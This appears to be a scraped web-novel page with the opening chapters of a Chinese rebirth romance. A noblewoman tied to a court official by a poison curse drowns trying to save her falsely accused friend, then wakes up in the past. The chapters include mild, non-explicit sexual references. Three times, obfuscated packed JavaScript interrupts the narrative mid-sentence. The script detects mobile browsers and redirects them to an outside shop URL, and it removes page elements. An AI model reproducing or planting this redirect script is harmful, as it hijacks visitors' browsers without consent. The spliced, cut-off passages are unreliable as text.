《露水夫妻重生后》 1. 求而不得 秋夜。 月华如绸,庭中树影斜入檐下。 靠坐在轩窗外守夜的侍女用下巴抵着膝盖,俨然已是昏昏欲睡,仅被残存的理智吊着精神。 屋内,梨花木拔步床上,一对男女正同榻而眠。 即便没有点灯,神思清明的男子也不难借着月色看清眼前貌若芙蕖,容颜姣好的姑娘。 自然也看清了温热肌体之上还没来得及散尽的,能证明某些缠.绵与欢愉曾切实存在过的浅粉霞色。 今日发作的蛊毒已解,方才还红着脸趁乱偷偷抚.摸他腹部肌肉的姑娘累得睡着了,那双总四处作乱引火燎原的手也终于停下。 她说每回都记不清太多细节,也不知真是蛊毒作祟,还是她清醒后羞得不愿面对自己夜里的所作所为。 同往常一样,裴知砚以长指轻轻探开了洛清苒雪白寝衣的领口与袖口,仔细确认她的颈间与细腕都没有留下更多会惹人生疑的痕迹后,便重新为她掖好锦衾,以免她受秋夜的凉风侵扰。 瞥见几缕散乱的乌发落在她颊侧,裴知砚放轻动作,抬手缓缓将其拨至她耳后。 做完这些,他仍未阖眸睡去,只是无声躺在她身旁,沉默而耐心。 不知过了多久,熟睡中的姑娘侧了侧身,无意识地朝他靠了过来,裴知砚才眉目微松。 终于轻轻揽她入怀。 * 辰时,意识迷蒙的洛清苒缓缓醒来。 果然,还没来得及有所动作,她便又先感觉到了浑身的不适—— 洛清苒和裴知砚中的蛊毒每十日发作一次,不经欢好便不能解。且每回蛊毒发作,洛清苒都会先受蚀骨钻心之痛,而后意识混乱,记不全过程中具体都发生了些什么。 她连裴知砚是何时离开的都不清楚。 但解了蛊毒之后,想必他不会在她房里久留。毕竟裴知砚是光风霁月的君子,平日里最是克己自持,若非受蛊毒所迫,他绝不会夜探女子闺房。 洛清苒身旁的锦衾与软枕也的确如没有旁人睡过似的平整如初。 中了相同的蛊毒,也经了同一场云雨,但裴知砚却仿佛从不需要休息。 洛清苒每次清醒之后浑身都酸软极了,恨不能在床上躺个三五日,好好休养。 看着那般斯文雅正的人,也不知怎能每回都将她折腾成这样。洛清苒腹诽道。 偏偏已经半年了,她和裴知砚还没找到那蛊毒的彻底解法。也不知她还要度过多少个这样的夜晚。若继续这样下去,洛清苒觉得自己或许得多服些补身的汤药才行了,否则她可能会像话本里那些纵.欲过度的男子一样,面如土色,脚步虚浮。 洛清苒蹙眉支着手臂坐起身,摇响了床头的铜铃。 侍女忍冬推开门,端着梳洗用的热水走了进来。 “昨夜辛苦你了。”洛清苒柔声说道。 每月都有几次,她和裴知砚的事自然瞒不过贴身侍女忍冬。 也多亏有忍冬在——除了以守夜为名看着院子以外,事毕忍冬还会为喜洁的洛清苒重新沐浴,再帮她换上干净柔软的寝衣,仔细整理好床铺,让累得失去意识的洛清苒能舒服地睡个好觉。 这么一整晚下来,忍冬肯定累得不轻。 洛清苒叮嘱道:“你今日好好补眠,别再累着了。” 闻言,忍冬脚步微顿,有些心虚和愧疚。 每次裴大人来,都会让她守在廊下。只有第一回事出突然,姑娘累得沉睡不醒后裴大人将她叫了进去。但忍冬前几日染了风寒,服了汤药之后便总犯困。昨夜她虽照旧一直寸步不离地守着,中途却忍不住睡了过去。 幸好昨夜没有任何人靠近。否则若是因此让除了她以外的人得知姑娘和裴大人的秘密,那便是能逼死人的祸事了。 最近林家二小姐私通外男的事闹得满城风雨,忍冬也一直提心吊胆。 洛清苒起身换好衣裙,正欲走向妆奁时,发现不远处的红木桌上正放着一个长匣子。 她心神一滞,某些原本被隐藏得很好的晦暗情绪又开始在她心底作祟。 忍冬适时将那匣子拿近了打开。 里面并排放着一对玉镯。 没有繁复的精雕细琢或金银为饰,不是羊脂玉那样浓郁的白,而像是皎洁的月光,更显通体莹润与剔透。 忍冬觉得这对玉镯很衬自家姑娘的肤色,看着也正是姑娘手腕的尺寸和喜欢的样式。 但她没有贸然说什么,而是先偷觑姑娘的神情。 几息之后,她在心下轻叹了一口气。 姑娘果然还是和之前一样,不仅没有觉得高兴,眉眼间反而蓄着让旁观者都觉得难过的失落。 洛清苒的确甫一看见这对玉镯便觉得很喜欢。但她垂在身侧的手似有千钧重,到底还是没有去触碰不属于自己的东西。 “收起来吧。”洛清苒收回目光,轻声说道。 洛清苒知道,这是裴知砚为她的姐姐洛清芷准备的。和以前一样,裴知砚每次来洛家都会给洛清苒的姐姐带礼物,还会顺便给她带一份。 昨日是姐姐的忌辰,裴知砚更不会落下。 而她昨晚却在同这个差点成了自己姐夫的人行男女欢合之事。 姐姐真是白疼她了。 洛清苒在心底自嘲道。 裴知砚的心上人已经故去,他却仍然一往情深,从未忘怀过。洛清苒便也早已不再妄想着要捂化一块坚冰了。 他寻不回已经逝去的人,她也拥有不了他的心,他们都求而不得。 但这种诡异的公平却并没有让洛清苒觉得好受一些。 她只希望能尽快找到那蛊毒的解法,结束这段本不该存在的关系,与他再无瓜葛。 从情窦初开起,他便是她无法宣之于口的秘密。可如今,她无一日不想从这经年的淤泥中抽身离开。 但当务之急是要先解决另一件棘手的事。 “我今日要去林府一趟,你不必跟着。”洛清苒同忍冬说道。 忍冬心里一紧:“姑娘,林家二小姐如今正在风口浪尖上,要不先避一避……” 洛清苒面有忧色,摇了摇头,坚持道:“我不放心林瑶。” 洛清苒和林瑶自幼相识,是彼此最信任的闺中密友。 无论外面如何议论,她都不相信林瑶会与一个年逾四十的男人私通,且还是青天白日,在林瑶的亡母曾住过的院子里。 没有人比洛清苒更清楚林瑶有多敬爱她的亡母,有多喜欢她的未婚夫婿。 林瑶也哭着同洛清苒说过,是那人在她午睡时忽然衣衫不整地闯进了她的卧房,她的继母紧接着便带着人到了,就这样给她安上了所谓的私通罪名。 林瑶的继母一直想让自己的女儿顶替林瑶那桩自幼便定下的好婚事。她之前已暗中想了许多法子,这次的手段更是恶毒。 可洛清苒觉得此事还有疑点——若林瑶背上了私通的罪名,林家其他女眷的名声也定会受到影响。林瑶的继母既然是为了亲生女儿的婚事才针对林瑶,又为何会用这样自损八百的法子? 除非奸夫是真的,却是被真正私通的那人嫁祸给了林瑶。因为若是事发,她会有比名声被牵累更严重的下场。 洛清苒忖度道。 她必须再去林家一趟,找到突破口,洗清林瑶身上的污名。 见姑娘已经做了决定,忍冬便也不再多劝。 “女学那边,我会让人去替姑娘告假。但我想跟姑娘一起去林家。” 知她是不放心自己,洛清苒答应下来。 片刻之后,老管家来替洛清苒的父亲传话:“老爷上朝前说,若小姐今日要去林家,一定多带些人手,有备无患。” “老爷还说,无论发生什么,洛家都会护着小姐。但无论何时,自保最为重要,小姐切勿以身犯险。” 洛清苒:“好,我记住了。” 有了父亲的支持,洛清苒和林瑶的胜算会大一些。 马车上,洛清苒一直在循着疑点往回推。她已经隐约找到了那个关键的线头,多了几分能将林瑶的继母扳倒的把握。 但甫一抵达林府门前,洛清苒便看见几个不算陌生的人刚离开。 洛清苒在心里暗道了一声“糟了”,紧接着就听见林府外有人议论道: “今日陆家早早上门来退婚,不留一点情面,看来两家好几代的交情到这儿就算是完了。” “陆家这门亲事多好啊,可惜这林二小姐不争气,做出那样丢人现眼的事来,不被退婚才是奇怪了。” “我听说,为了正家风,林家打算将她沉塘……” 洛清苒无心再听,她一面往林府内赶去,一面对忍冬说道:“以我的名义去报官,就说林家动用私刑,草菅人命。” 待会儿两边可能会起冲突,洛清苒不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312691|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让忍冬和自己一起涉险。 “好。”忍冬立即应下。 洛清苒与林瑶亲如姐妹,两家的下人从不会拦着她们进府。 但今日林府的两名家丁却抬手阻止洛清苒:“洛姑娘,今日我们府中有家事要处理,请回吧。” 洛清苒面沉如水,只一抬手,便有她从洛府带来的人替她挡开了拦路的家丁。 林府的家丁不曾收到必须拦下洛清苒的命令,见她已经进了府门,只好面色焦急地跑去报信。 洛清苒刚走进庭院,林瑶的贴身侍女就浑身是伤地冲过来,泪流满面道:“洛姑娘!我家二小姐已经……已经被绑着送去偏院池塘那边了!” “快去把人拦下!”洛清苒沉声吩咐自己带来的人。 她用力掐着掌心,提醒自己要保持镇定,绝不能慌乱。 林家竟当真打算动用私刑,就这么不明不白地处置了林瑶。 今日洛清苒无论如何都要见到林瑶。哪怕是抢,她也要将林瑶带走。 她已经失去了姐姐,绝不能再失去林瑶。 但还未赶到池塘边,洛清苒便被林瑶的继母带着人拦在了途中。 “洛姑娘今日好大的威风。”面带笑容的妇人语气温和道。 “你大闹林府,你父亲洛阁老可知晓?可需要伯母帮你隐瞒此事?” 洛清苒不想费时看她虚伪的嘴脸,径直神色漠然地绕过她。 却听见身后的人轻描淡写地说:“其实我一直都觉得,瑶瑶不该和你走得太近了。否则她也不会被带坏。” “先与外男私通的人,其实是你,不是吗?毕竟每月都有几次……” 她有意把话停在惹人遐思的地方。 听出她的威胁之语中带着几分笃定,洛清苒心里一紧——她竟知道自己和裴知砚的秘密! 但她转瞬间便冷静下来,语气如常道:“看来损人清誉便是你唯一的手段了。” “为了栽赃嫁祸,竟不惜开宗祠以私刑杀人,不知你想隐瞒的事还能瞒得住多久。” 话音落下,洛清苒一息都不再耽搁,立即朝偏院奔去。 赶到池塘边时,洛清苒的心像是倏地被人以利器狠狠刺穿,疼得她当即眼眶通红,险些站不住——林府的家丁已合力将一个长笼推入池塘。 被绑着关在笼子里的人,穿着与洛清苒身上一样的月白色裙衫。 那是上个月她和林瑶买了衣料回来一起做的,她做的给了林瑶,林瑶做的则给了她。 洛清苒心神俱痛。 她没有丝毫迟疑便跃入了池塘,朝林瑶游去。洛家的其他人也当即做出了反应。 眼看关着林瑶的笼子不断往池底沉去,洛清苒心急如焚,恨不能游得快些,再快些! 可那笼子里被放入了许多石块,压着笼子迅速下沉。饶是洛清苒奋力往前游,终于追上了那笼子,却根本拉不住,无法阻止它带走林瑶。 洛清苒死死拽着笼子上的竹条,即便指腹被细薄的竹片深深割破也没有松手。 她多次尝试都没能将笼子扯出断口来,只将自己的手掌弄得血肉模糊,多处伤口深可见骨。 但她没有放弃——只要再坚持一会儿,她带来的人就能同她合力将林瑶救上去。 只要再多坚持一会儿就好…… 洛家人果然很快就从各方拉住了笼子,却因水中没有落足点,无法借力,即便他们用尽了力气,也依然无法将笼子往回拉动分毫,至多只是延缓了它的下沉。 洛清苒从未如此时这般痛恨过自己这副无力的身躯。 有什么死死地挤压着她的胸口,满是土腥气的水又急又凶地呛入肺腑。 洛清苒已经快要抓不住笼子了。 她看见那个总是温柔微笑的姑娘哭着朝自己摇了摇头。 不行……不可以…… 洛清苒泪流不止,执拗地紧紧攥着笼子。 她想让林瑶不要放弃,想同林瑶说自己一定会救她离开那个笼子。 可洛清苒眼前慢慢模糊,眼底不断出现的暗影逐渐抹去了林瑶那身月白裙衫。 彻底力竭时,洛清苒隐约看见一道熟悉的身影正朝自己而来。 又随即明白,那应只是生死一线之间由多年执念幻化而成的错觉。 他与林家并无来往,又怎会出现在此处。 她与他,应已没有机会再见了。 2. 重来一回 洛清苒从不知道,原来秋日的池水会那样冰冷刺骨,能轻易剥开她的皮肉,切割她的肺腑,以及,让她的一生就此结束。 洛清苒知道自己已经死了。 因为她终于摆脱了胸口沉闷的钝痛和那股让人生厌的土腥气。 她觉得自己可能是成了一只水鬼,就像话本里写的那样。所以才能不受任何拘束地在水中游荡。 但洛清苒哪里都没有去,只是一直抱膝坐在昏暗寒冷的水底,紧闭着双眼,不敢再去看那些无处不在的池水。 她不记得自己为何会在水中,但深植于心底的对水的恐惧一直如影随形,让她像是被某些不可见的锁链禁锢在原地,动弹不得。 直到某一日,洛清苒隐约听见水面上传来嘈杂的声音。有许多人聚集在了岸边,不知正在吵闹些什么。 片刻之后,原本平静的水面开始混乱震荡,热闹的波澜裹挟着落叶一起向远处欢快奔去。 它们玩得越尽兴,洛清苒的身子便因为恐惧而蜷缩得越紧。 可待它们走远,最后一丝涟漪终于没了踪影,洛清苒莫名鼓起勇气睁开了一直紧闭的双眼。 隔着浑浊的池水,她看见了一个模糊的月白色身影。 某种无言的直觉在洛清苒心上缓缓叩响,指引着她强行按捺惧意,凝神朝那抹身影而去。 不知不觉间,她便离开了黑沉的水底,看见了林瑶。 浓重沉郁的心疼卷土重来,洛清苒忽然想起了很多事情。 因为被污蔑与人私通,近日林瑶的情况很不好,不仅消瘦了许多,面上还总是带着浓重的疲惫与忧愁,但那口气到底还没有散尽——林瑶和洛清苒都在努力设法为她正名。 可此刻林瑶眼下乌青,发髻凌乱,月白色裙衫上也沾满了脏污泥水与血迹,狼狈不已,已经全无平日里温柔美好的模样。 最让洛清苒心口发紧的是,跌坐在地上的林瑶双目无神,神情绝望,似是已经了无生气。 洛清苒连忙奔过去,怕碰疼她的伤口,只小心翼翼地环抱着林瑶单薄的肩。 “瑶瑶,你醒醒,你看着我……”洛清苒眸中盈满清泪,难掩哽咽道。 听见洛清苒的声音,神情麻木的林瑶才终于回过神来。 两行热泪从她漂亮的眸子里滑落,她失声痛哭道:“她们……她们说要验身,在祠堂里脱了我的衣服……” “我分明什么都没有做过,可她们说我已经失贞,是为不洁。她们把我和很多石头塞进那猪笼里,说要将我沉塘……” “我没有做过辱没门楣的事,”林瑶哭得上气不接下气,却不断重复道,“我没有,真的没有……” 洛清苒心口胀痛酸涩,几乎说不出话来,只能强撑着回应她:“我知道,我都知道。” “我们干干净净的,是她们说错了。” 看见散落在一旁的绳索、石块和猪笼,洛清苒满腔愤怒却无处宣泄。 林瑶的父亲是从三品官员,她是享誉京都的高门贵女,却还是被宗祠的私刑剥夺了身为人的尊严和鲜活的生命。 若自己和裴知砚的秘密暴露,她也会被这样对待吗?即便她是被人陷害,她也会因为不洁而被残忍地塞入猪笼沉塘吗? 林瑶从未与人私通,她绝不该因为这样莫须有的罪名被害死。 那她呢?她与裴知砚并非夫妻却做了男女欢好之事。难道她就该因此去死吗? 洛清苒颤着手扶着浑身湿透的林瑶,一遍一遍地安抚那些激烈得几乎要让林瑶承受不住的汹涌情绪。 洛清苒还欲继续宽慰林瑶,却察觉林瑶轻轻握了握她的手,转而有些用力地抱住她,在她耳畔哑声说:“清苒,你一定要比我过得好。” 话音落下,林瑶松开了怀抱,随即转过身去,毫不犹豫地纵身跃入了冰冷的池塘。 “瑶瑶!” 变故发生得太快,洛清苒当即伸出手想要拉住林瑶,可只来得及感觉到潮湿的衣角从自己手中掠过。 落水声响起时,洛清苒紧跟着想要跳入池中救回林瑶,但好似有什么无形的障碍将洛清苒拦在了岸边,无论她如何焦急尝试都无法靠近池水。 “别拦着我!” “求你了!让我救她!我可以救她的……我可以……” 眼看着林瑶的身影逐渐沉入水底,洛清苒又急又慌,却被困在原地,无法再往前哪怕一步。 那抹月白色彻底消失后,沉重的哀痛不断捶打着洛清苒的心口。她跪坐在岸边痛哭不止,断线的泪水不断滑落,却很快便消散无影,落不到实处。 一阵温柔的风拂过脸庞,就好似……有人替她拭去了泪水。 * 初春时节,庭中新芽渐生。 一只骨节分明的手放轻动作探了探洛清苒的额头。 感受到久未消退的灼烫,床边的人眉间微蹙,随即从袖间拿出一个白玉瓷瓶,从中倒了一粒药丸,妥帖地喂洛清苒服下。 有温热的泪水从洛清苒眼角划过,但在隐入软枕间之前便被微凉的指腹温柔拭去。 “林姑娘,此次我家姑娘的风寒有些重,恐怕这几日都去不了女学了。”屋外,忍冬的声音由远及近。 “无妨,我帮她告了假,身体康健才是最重要的。”林瑶已经走到了门外。 “这是治风寒的药吗?给我吧,我来喂清苒喝药。” “好,有劳林姑娘了。” 林瑶一手端着药碗,轻轻推开门进了屋。 见洛清苒双眸紧闭,还未转醒,林瑶从女学来洛府的路上便一直悬着的心还是无法放下。 林瑶将还有些烫的汤药放在一旁,仔细为洛清苒掖了掖锦被,又认真确认门窗都好好关着,不会进了凉风加重洛清苒的病情。 见有泪水从洛清苒眸中滑落,林瑶柳眉轻蹙,拿自己的丝帕轻轻帮她擦了泪。 “瑶瑶……”意识不清的洛清苒哑声呢喃着。 即便知道这应只是梦中呓语,林瑶也耐心回应:“我在这里。” “怎么了?是不是觉得难受?”林瑶轻轻揉了揉她的头发,哄道,“快醒来把药喝了,病好了就不难受了。” 洛清苒缓缓睁开眼。 对上林瑶担忧的眼神,洛清苒怔了怔,旋即整颗心都被巨大的惊喜包裹。 “瑶瑶!”她立即坐起来,忍着头疼紧紧握住林瑶的手,“你回来了!” 闻言,林瑶有些疑惑,“我一直在京城,并未去别处,何来的‘回来’一说?” 洛清苒正欲解释,忽而发现了什么,止住了话头。 眼前的林瑶全无被污蔑之后的消瘦与颓丧,而是洛清苒最熟悉的模样,美丽温柔,耐心恬静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而等这场重病突然结束,原本被诊为时日无多的洛清苒彻底苏醒过来时,她已经可以确定,自己并非做了一场噩梦,而是真的死而复生,回到了一切发生之前。 林瑶还没有被污蔑,没有被害死。洛清苒和裴知砚也还没有因为蛊毒而被拴在一起,心不在一处的两个人,不必被迫做那样亲密的事情。 她有机会重新改变这些事。 只是洛清苒没想到,于生死间挣扎,意识混乱的那两日,偶尔身旁没有人陪着时,裴知砚的身影竟曾几次出现在她模糊的眼前。 他时而安静坐在她床边,时而帮她擦汗,喂她喝水,时而还轻声哼起舒缓悦耳的小调哄她入眠。 且不说此时还没有蛊毒的牵绊,一向守礼的裴知砚不会做出私探女子闺房的事。即便是前世已经共经云雨之后,他们之间也不曾有过这样亲昵的相处。 好似一对情深的爱侣。 已经死过一回,可自己重病中意识脆弱时,竟还会妄想从他那里得到温柔与体贴。 洛清苒觉得有些讽刺。 许是因为多年倾慕,纠葛与执念都太深,想起裴知砚已经成了她的习惯。 但重来一世,有了新的机会,洛清苒已不想再与他有任何牵扯了。 3. 双双重病 洛清苒恢复了清醒,也退了高热,但不知为何,她仍每日咳嗽,动辄便咳得喘不上气来。且因为久咳,她胸口那块位置稍一牵扯用力便疼得厉害。 见她久病不愈,洛清苒身旁的人都放心不下。 洛清苒的父亲公务繁忙,但他每日都不忘来看看她的情况。洛清苒的母亲原本长期在静养,近日因一直悬着心,会时常亲自来照料洛清苒。 林瑶也每日都来洛府陪洛清苒。担心她夜里睡得不安稳会做噩梦或受凉,近日林瑶还直接在她房中住下来守着她,没有回家。 被身边人像对待瓷娃娃一样小心呵护着,洛清苒心下动容。但每每想起前世在池塘中逐渐死亡时的痛苦经历,洛清苒就觉得此时的情况其实不算太差。 起码她还活着,还能有亲人与挚友为伴,不用孤独地蜷缩在黑冷的池底。 所以她每日都认真服药,想尽可能早些病愈,好好利用自己受上天垂怜才得到的这次重来的机会。 好在,她的身体在慢慢恢复。 洛清苒需得提前筹备,避开十七岁生辰那日的蛊毒陷阱,也要尽快将林瑶的继母从那个可以伤害林瑶的位置上拉下来,永绝后患。 养病期间,为力求不遗漏任何关键之处,洛清苒时常在心底细细地梳理与这两件事有关的所有线索,无暇分神关注其他事情。 是以当又一阵剧烈的咳嗽终于平息下来,林瑶问起她是否知道裴知砚前段时日也重病了一场时,洛清苒心神微顿,随即摇了摇头,语气随意道:“应有太医为他诊治,我知晓与否都无关紧要。” 裴知砚虽然才二十三岁,却深受帝后赏识与重用,已是当朝首辅,手握权柄。若他病了,不待旁人紧张,宫里便会先派人去他府上妥帖照料着。 见洛清苒似是正认真翻阅着手上的书页,垂下的纤长眼睫恰覆住她眼中神情,林瑶也不戳破,只是补充道: “听我兄长说,裴大人也险些没能熬过来,太医们都束手无策。还是裴府的人寻来了一位游医,用上了他密不外传的药方,才把裴大人从鬼门关拉了回来。” “是吗?”洛清苒语气无异道:“那他也算是有惊无险。” 虽然从几年前开始,裴知砚便是洛清苒少女心事的归处。但她从不曾因此过多地去打听或关注与裴知砚有关的事。 毕竟那是一个与她没有可能的人,了解再多也于事无补。少在意些,或许还能早些将他放下。 是以洛清苒并不知道这个春天裴知砚曾重病过一场,只记得当时他因故暂停了教授她琴艺的事。 但据他后来每月夜探她闺房时的情形来看,裴知砚身上应没有落下什么病根。倒是她,每回腰和腿都快被折腾断了,支也支不起,挂也挂不住。 想起某些凌乱而孟浪的细节,洛清苒不由得腹诽道。 “你们应已有段时日没见过面了?”林瑶斟酌着问。 以前洛清苒偶尔会坐着出神,神色低沉失落。虽没明言过,但林瑶知道,那应是洛清苒又想起了裴知砚,或者应该说是她在想念那个人。 但近日,林瑶发现洛清苒虽然也有出神的时候,却眉间紧蹙,明显是在思考什么更重要的事,而非因为一段求而不得的男女之情伤神。 洛清苒“嗯”了一声,解释道:“最近他没来过洛府”。 受洛清苒的父亲所托,从几年前裴知砚刚入朝为御史时开始,他每次休沐都会来教洛清苒琴艺。即便如今裴知砚已官至首辅,此事也仍在继续。 照林瑶所说,前段时日裴知砚是因为生病所以暂停了此事。后来又是洛清苒病倒,他们便一直没见过面。 想到自己病愈后便又要继续同裴知砚学琴了,洛清苒正色思量几息,将忍冬叫了进来,嘱咐道: “让人去裴府一趟,同裴大人说,我身体不适,要多休养一段时日,学琴一事便先停下吧。” 忍冬没有多问,应下后便出去了。 见状,林瑶在心底轻轻叹了一口气,柔声问道:“决定好了?” “对,”洛清苒笑了笑,“终于不用练琴了。” 也终于不用再攥着那缕让自己心神疲惫的执念了。 “我们在女学的琴艺课,有时也是他教。”林瑶提醒道。 与仅收男子为学生的国子监相对应的女学由来已久。京城中的女学招收的学生都是官员家眷。与国子监不同的是,女学内主要教授女子们“德言容功”,即妇德﹑妇言﹑妇容﹑妇功。除了这些,也有与琴、棋、书、画等相关的课程。 由帝后授意,裴知砚会抽空去国子监讲授策论文章,去女学讲授琴艺。 洛清苒自然也还记得此事,她朝林瑶眨了眨眼,眸光清澈,道:“裴大人政事繁忙,本就并非琴艺课的主讲,之前一月都不一定能抽空去女学一次。若实在碰上了,到时我再设法避着他便是。” 洛清苒语气轻快,林瑶却有些替她难过,如静湖一般的眼神温柔包容地望着她。 她明白,洛清苒许是耗尽了心力,此举是想与裴知砚彻底拉开距离。 当年裴知砚不仅是状元郎,卓绝脱俗的琴艺也让无数文人雅士钦佩不已。甚至他的琴艺其实更早为世人所知。 他是最好的老师,而洛清苒天赋极佳,称得上是最好的学生。学了这么多年,洛清苒其实已经能出师了。但她一直没有让父亲出面结束请托。 在洛清苒的姐姐洛清芷逝去后,教洛清苒琴艺是裴知砚继续来洛府的唯一原因,也是少有的,洛清苒能看见他、与他相处的机会。 林瑶知道,即便没有结果,洛清苒也一直都舍不得切断她与裴知砚之间仅剩的关联——她无法往前,却也不想退后。 是以即便洛清苒私底下很是刻苦,琴艺也已经达到炉火纯青的地步,但她仍会有意在裴知砚面前隐藏几分,让他可以继续教她。 可病过一场之后,洛清苒仿佛忽然就放下了那股执念。 林瑶不知道这样是否有用,但前路实在艰难,若洛清苒想换条路走,林瑶身为好友自然会支持她。 在她眼中,洛清苒病中的脆弱与疲态已逐渐消退,容色不染凡尘的姑娘此时并未上妆,却眉不画而黛,唇不点而朱,瓷白肤色欺霜赛雪,一颦一笑间都美得不可方物。 除此之外,林瑶深知自己的挚友有多么美好而难得的秉性与品格,不愁寻不到更好的如意郎君。 “以后你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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细致地给出自己的建议后,裴知砚将书房重新整理了一遍。大到书册、笔架和砚台的摆放,小到一张纸的位置,都井井有条,分毫不差地符合裴知砚的要求。 做完这些,裴知砚才将一个长匣置于桌面,随即轻叩书架上的某处,召出藏身于密室的暗卫。 “林瑶仍住在她房里?” 裴知砚打开匣子,垂眸望着里面那对玉镯,神色平静地问。 暗卫:“回禀大人,是的。若大人觉得有必要,卑职可以设法将林姑娘引开。” 因想起大人近日的反常之处,暗卫才试着提了后一句。可随着话音落下,屋内陷入静谧,让人不由得越发心弦紧绷。 大人许是在考虑? 没有直接否决,应说明这个提议并非全无必要。 片刻之后,暗卫却见大人眉眼冷淡地睨了他一眼。 他心里一紧,立即拱手请罪道:“是卑职逾矩了,求大人责罚。” “没有下次。” 裴知砚的语气无波无澜,收回的目光重新落在那对玉镯上。 他在思忖该何时重新将玉镯送出。 “让监视林家的人盯紧林瑶的继母。” “是!” 暗卫领命退下。 瞥见放在书房一侧长案上的古琴,裴知砚心神微顿,忆起洛清苒让人传的话。 她早已不需要他教授琴艺了。 但在此时说暂且停下学琴一事,是因为她不愿继续学琴了,还是……不愿见他? 4. 双更合一 之前洛清苒已到了药石无医的地步,连宫里的太医都说回天乏术。 却不曾想,她不仅熬了过来,还眼看着一日日慢慢恢复。虽然因病清瘦了几分,但到底还是渐渐去了病气,不再是那副下一息便会撒手人寰的模样。 见洛清苒并未像她姐姐那样因病早逝,外人大都道她是必有后福。但只有洛清苒知道,自己能重新睁开眼睛,回到家人与挚友身边,已经是上天给她的莫大福气。 此等说出去恐怕都无人相信的幸事,洛清苒绝不敢妄想还能有下一回。是以她格外珍惜如今的每一日,珍惜还能与亲近的人相处的机会。 洛清苒的祖父在世时官至内阁次辅,她的父亲如今是兵部尚书兼内阁大学士,母亲是太傅之女,洛家是名正言顺的高门显贵。 但她的父亲从不纳任何妾室,除了姐姐以外,洛清苒再没有其他兄弟姐妹。以前她们一家四口称得上其乐融融,让人艳羡。 洛清苒的姐姐洛清芷虽自幼体弱,却天赋极佳,无论什么都一学便会,且很快就能达到旁人难以望其项背的水平。 她自进入女学起,便是最优秀的学生,德言容功无不令所有老师称赞。人人都说洛清芷最是端庄知礼,才情出众。 她还性格温柔娴静,宽容善良,总能面面俱到地照顾好身边的所有人,洛清苒更是最受她疼爱的人。 京中很多少年郎都曾暗自将皎洁明月般美好的洛清芷放在心里。她及笄那年,想与洛家结亲的高门大户也不胜枚举。 但那时不少人都知道,洛清芷的父亲有意择裴知砚为女婿。 裴知砚虽无显赫的家世,但他十七岁考中状元入都察院,一年后升任左佥都御史,后来才十九岁便已是正三品左副都御史,仅两三年就走到了旁人终其一生都到不了的位置,前途不可估量。 输给如此年少有为的人,京中许多少年都心服口服,也愿意友善地祝福这对佳偶。 但因为体内的弱症久治不愈,洛清芷才十六岁便香消玉殒。 洛清芷病入膏肓,已没几日可活时,她的母亲做主停了太医开的药,亲自研制了汤药要救自己的女儿。 自然还是没能救活。 她固执地让女儿死在了自己怀里,谁都不让碰。洛清芷的父亲要让人将其下葬,她也态度冷硬地拒绝,最后洛清芷的父亲是命人抢走了尸体。 人人都知道洛清芷那时已经没救了,也不会有人把“治死女儿”这样残忍的罪名安在她母亲头上,都言那只是她身为人母,爱女心切。 或许很多人叹一句“可惜”之后很快便会忘记京中曾有过洛清芷,但洛清苒知道,身为家人,她和父母余生都会想念姐姐。 裴知砚自然也一样。因为顾念旧人,差点成了她姐夫的裴知砚在那之后并未断了与洛家的来往,仍愿意教导她琴艺。 父亲曾告诉洛清苒,家人逝去后,活着的人终究会慢慢习惯,继续生活。 但也是自那时起,失去女儿后哀痛不已的女人会不时顶撞自己的丈夫,还常说出一些让旁人觉得疯癫的话来。 当时洛清苒的父亲常日忙碌,没能多陪伴妻女,解决矛盾,夫妻二人的关系也就渐行渐远,开始分居在两个不同的院子里。 洛清苒的母亲自此便缠.绵病榻,将府务都交给了老管家,自己常日在院子里静养。 洛清苒去见母亲时,坐不了多久便会被母亲借故支出去,让洛清苒多去府外走走,不必常去她那里。 那时十三岁的洛清苒曾以为母亲是因为失去了那个更优秀的女儿,便不愿再多见她这个有幸还活着的女儿,也不需要她苍白的陪伴。 久而久之,原本很是依恋母亲的洛清苒也不愿意再多去母亲那里。不知母亲是没有发现还是并不在意这个变化,母女俩就这样慢慢疏远了。 一家三口,却吃住都在各自的院子里,再少有以往其乐融融的画面。 洛清苒曾听父亲说,母亲是生病了,所以才会如此对待他和她。 可因着自己的这次重病,洛清苒才知道,其实母亲仍是爱着她的。所以才会拖着病体来亲自照顾她,陪着她,守着她。也会在洛清苒睡去时无声在她身边落泪。 洛清苒不忍去想,前世母亲若是得知了第二个女儿的死讯,会受多大的打击。 前世之事已无法改变,洛清苒只愿今生不会让母亲再经受那样深重的疼痛。 所以病愈后,洛清苒又开始常往母亲的院子里去,陪她用膳、说说话,或是陪她一起侍弄庭院里栽种的花草。 母亲没再找理由支开她。较之前世此时,母女之间的距离重新变得近了许多。 但洛清苒的父亲公务繁忙,早出晚归,休沐时都不一定能整日待在府上。洛清苒便每日都会等着父亲散值回来,同他一起用晚食。 父亲会问问洛清苒的身体,再同她说一些不涉密的朝中动向,让她虽未直接参与政事,却也能做到心中有数,不至于被养成对家国大事无知无觉,毫无成算的模样。 那也是近年来少有的,父女俩可以称得上温馨相处的时刻。 与其苦苦执着于看不到前路的妄念,不如护好眼前拥有的安宁生活。 洛清苒总会这样想道。 又休养了接近十日,洛清苒才终于彻底从这场重病中脱身。 她和林瑶也回到了之前的生活,每日清晨在洛家碰面,再一起出发去女学。 